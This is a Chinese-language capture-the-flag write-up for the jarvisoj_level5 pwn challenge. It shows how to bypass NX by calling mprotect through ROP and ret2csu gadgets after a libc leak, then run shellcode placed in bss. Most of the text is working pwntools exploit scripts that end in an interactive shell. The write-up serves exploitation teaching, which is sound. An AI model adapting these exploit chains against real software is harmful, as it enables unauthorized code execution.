这一种办法一般来说不是很实用 当个额外的知识点扩展就好了 难免有的新生赛想考
在程序开启了NX保护的前提下 我们没有办法通过在bss段写入shellcode后覆盖ret addr为shellcode首地址来实现shell
这是因为bss段此时的执行权限为rw-p

意为可读可写 但不可执行 所以位于bss段的shellcode无法发挥作用
但是在c语言中存在一个mprotect函数 其作用为把自start开始的、长度为len的内存区的保护属性修改为prot指定的值
mprotect(const void *start, size_t len, int prot)prot为7时 可以设置内存区域权限为rwx-p 即可读可写可执行 这样就能让shellcode起作用
下面来看一道例题加深理解
jarvisoj_level5#
checksec看一下保护机制
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)[*] '/home/chen/pwn' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)没开RELRO 但是开了NX
ida看一下伪代码
int __cdecl main(int argc, const char **argv, const char **envp){ vulnerable_function(); return write(1, "Hello, World!\n", 0xEuLL);}跟进一下vulnerable_function函数
ssize_t vulnerable_function(){ char buf[128]; // [rsp+0h] [rbp-80h] BYREF
write(1, "Input:\n", 7uLL); return read(0, buf, 0x200uLL);}有一次栈溢出的机会 不同于其他经典的ret2libc题目 这题的plt表只有read和write函数 由于write函数泄露函数真实地址需要控制三个寄存器
所以这里用csu的办法
from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",25692)context.log_level = "debug"context.arch = "amd64"context.terminal = ['tmux','splitw','-h']elf = ELF("./pwn")#libc = ELF("buu_libc_ubuntu16_64")libc = ELF("./locate_libc2.23")
io.recvuntil("Input:")back_addr = 0x4005e6gadget1_addr = 0x400690gadget2_addr = 0x4006AAwrite_got = elf.got['write']bss_addr = 0x600A88+0x50payload = cyclic(0x80+0x8)+p64(gadget2_addr)payload += p64(0)+p64(1)+p64(write_got)+p64(0x8)+p64(write_got)+p64(1)+p64(gadget1_addr)payload += cyclic(56)+p64(back_addr)io.sendline(payload)write_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))success(hex(write_addr))libc_addr = write_addr - libc.sym['write']success(hex(libc_addr))接下来就是构造mprotect函数来实现bss段的权限修改
同时解答一下pop rsi和pop rdx两条指令哪来的 这题是动态链接 二进制文件中是不存在这两条指令的
但是如果题目有提供libc文件 也是可以ROPgadget查找libc文件的指令 前提是我们获取了libc基址
io.recvuntil("Input:")mprotect_addr = libc_addr + libc.sym['mprotect']read_addr = libc_addr + libc.sym['read']rdi_addr = 0x4006b3rdx_addr = libc_addr + 0x1b92rsi_addr = libc_addr + 0x202f8payload = cyclic(0x80+0x8)+p64(rdi_addr)+p64(0x600000)+p64(rsi_addr)+p64(0x1000)+p64(rdx_addr)+p64(7)+p64(mprotect_addr)+p64(back_addr)io.sendline(payload)gdb动调看一下mprotect函数是否生效

可以看到0x600000-0x601000的内存区域权限已经被修改为rwxp 可读可写可执行了
那么接下来我们构造read函数 并且将最后的返回地址设置为shellcode首地址 就可以获取shell
io.recvuntil("Input:")bss_addr = 0x600A88+0x50payload = cyclic(0x80+0x8)+p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x100)+p64(read_addr)+p64(bss_addr)io.sendline(payload)shellcode = asm(shellcraft.sh())io.send(shellcode)io.interactive()当题目没有给我们libc文件的时候 这时候我们无法通过libc文件来获取pop rsi和pop rdx指令地址来构造rop链 这时候只能通过csu来
但是csu实现函数调用是使用call指令 call指令需要有一个类似于got表的地址链才能实现
比如: bss_addr(存放着main函数的地址) 这时候call bss_addr 就相当于执行main函数
所以我们跟上面一步相比 还需要多出一个read链来读入mprotect_addr
exp:
from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",25692)context.log_level = "debug"context.arch = "amd64"context.terminal = ['tmux','splitw','-h']elf = ELF("./pwn")#libc = ELF("buu_libc_ubuntu16_64")libc = ELF("./locate_libc2.23")
io.recvuntil("Input:")back_addr = 0x4005e6gadget1_addr = 0x400690gadget2_addr = 0x4006AAwrite_got = elf.got['write']bss_addr = 0x600A88+0x50payload = cyclic(0x80+0x8)+p64(gadget2_addr)payload += p64(0)+p64(1)+p64(write_got)+p64(0x8)+p64(write_got)+p64(1)+p64(gadget1_addr)payload += cyclic(56)+p64(back_addr)io.sendline(payload)write_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))success(hex(write_addr))libc_addr = write_addr - libc.sym['write']success(hex(libc_addr))mprotect_addr = libc_addr + libc.sym['mprotect']read_got = elf.got['read']io.recvuntil("Input:")payload = cyclic(0x80+0x8)+p64(gadget2_addr)payload += p64(0)+p64(1)+p64(read_got)+p64(0x8)+p64(bss_addr)+p64(0)+p64(gadget1_addr)payload += cyclic(56)+p64(back_addr)io.sendline(payload)io.send(p64(mprotect_addr))io.recvuntil("Input:")payload = cyclic(0x80+0x8)+p64(gadget2_addr)payload += p64(0)+p64(1)+p64(bss_addr)+p64(7)+p64(0x1000)+p64(0x600000)+p64(gadget1_addr)payload += cyclic(56)+p64(back_addr)io.sendline(payload)io.recvuntil("Input:")payload = cyclic(0x80+0x8)+p64(gadget2_addr)payload += p64(0)+p64(1)+p64(read_got)+p64(0x100)+p64(bss_addr+0x8)+p64(0)+p64(gadget1_addr)payload += cyclic(56)+p64(bss_addr+0x8)io.sendline(payload)shellcode = asm(shellcraft.sh())io.send(shellcode)io.interactive()